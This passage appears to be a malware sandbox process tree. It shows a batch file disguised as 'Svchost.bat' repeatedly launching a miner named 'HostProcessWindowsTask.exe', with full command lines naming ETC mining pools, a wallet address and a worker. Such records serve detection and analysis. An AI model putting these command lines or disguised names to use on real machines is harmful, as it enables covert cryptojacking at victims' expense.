        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES317B.tmp" "c:\Users\Admin\AppData\Local\Temp\pn52y0kv\CSCEEAA2CAB76694649B5F65F95D935B6EB.TMP"
        5⤵
        
        PID:3492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4660
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3088
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2036
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3796
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2624
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1620
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2092
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2480
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4584
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:3352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:2064
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5156
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:5320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4396
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5536
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5652
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3724
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:5076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5716
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4944
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5732
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3724
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5764
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5480
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6508
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6588
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6820
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7004
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7152
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6988
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7072
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:872
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7060
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6220
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6328
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6132
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6988
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7652
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7828
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7972
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
